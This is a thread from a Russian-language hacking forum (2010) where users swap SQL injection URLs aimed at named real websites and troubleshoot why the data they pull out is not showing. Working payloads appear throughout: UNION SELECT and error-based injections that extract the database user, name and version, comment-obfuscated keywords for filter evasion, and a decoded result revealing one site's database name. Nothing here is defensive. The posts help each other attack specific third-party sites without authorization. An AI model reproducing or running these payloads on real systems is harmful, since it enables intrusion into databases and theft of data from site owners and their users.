10.03.2010, 20:09
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 9
С нами:
8522087
Репутация:
0
|
|
[Feldmarschall], ничего не выводит =(
|
|
|
10.03.2010, 20:27
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 9
С нами:
8522087
Репутация:
0
|
|
Удалил все пробели, все ровно не выводит. Вы проходили по ссыле? Посмотрите сами.
|
|
|
|
10.03.2010, 21:15
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами:
8602291
Репутация:
256
|
|
Подскажите, почему не отображаются данные?
Код:
http://www.spbpost.ru/index.php?page_id=69+union+select+1,2,3,4,5,6,7,8,9,concat%28user%28%29,database%28%29%29,11,12,13,14,15,16,17+limit+1,1+--+
|
|
|
|
10.03.2010, 21:32
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сообщение от CyberHunter
Подскажите, почему не отображаются данные?
Код:
http://www.spbpost.ru/index.php?page_id=69+union+select+1,2,3,4,5,6,7,8,9,concat%28user%28%29,database%28%29%29,11,12,13,14,15,16,17+limit+1,1+--+
Код:
http://www.spbpost.ru/index.php?page_id=(select+1+from+(select+count(0),concat((select+version()+from+information_schema.tables+limit+1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)--+
PS: хотя бы тему читали иногда
|
|
|
|
10.03.2010, 21:19
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 9
С нами:
8522087
Репутация:
0
|
|
CyberHunter, надо указать базу и таблицу откуда хотите вывести данные.
|
|
|
|
10.03.2010, 21:22
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами:
8602291
Репутация:
256
|
|
CyberHunter, надо указать базу и таблицу откуда хотите вывести данные.
Я хочу спросить почему не выводится " USER(), DATABASE() и т.д. "?
|
|
|
|
10.03.2010, 21:58
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами:
10340793
Репутация:
66
|
|
Сообщение от CyberHunter
Я хочу спросить почему не выводится " USER(), DATABASE() и т.д. "?
http://www.spbpost.ru/index.php?page_id=-69.9%0AUNION%0AALL%0ASELECT%0A1,2,3,4,5,6,7,8,9,co ncat(0x7e,0x27,Hex(cast(database()%0Aas%0Achar)),0 x27,0x7e),11,12,13,14,15,16,17--
смотри в исходнике
<meta name="keywords" content="~'737062706F73745F6462'~">
тоесть spbpost_db
|
|
|
|
10.03.2010, 21:29
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
С нами:
8797559
Репутация:
-16
|
|
http://guideandroid.com/product.php?id=-4+union+/*!select*/+1,2,/*!table_name*/,4,5,6,7,8+from+information_schema.tables+where+/*!table_schema*/=0x6775616E64636F6D5F6761
a zacem tak polucaetsya ??
|
|
|
|
10.03.2010, 23:07
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами:
8602291
Репутация:
256
|
|
YuNi|[c Хотел спросить: а почему в этой инъекции данные отображаются в исходнике, а не на странице?
|
|
|
|
10.03.2010, 23:08
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Потому что метатеги на странице не отображаются
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
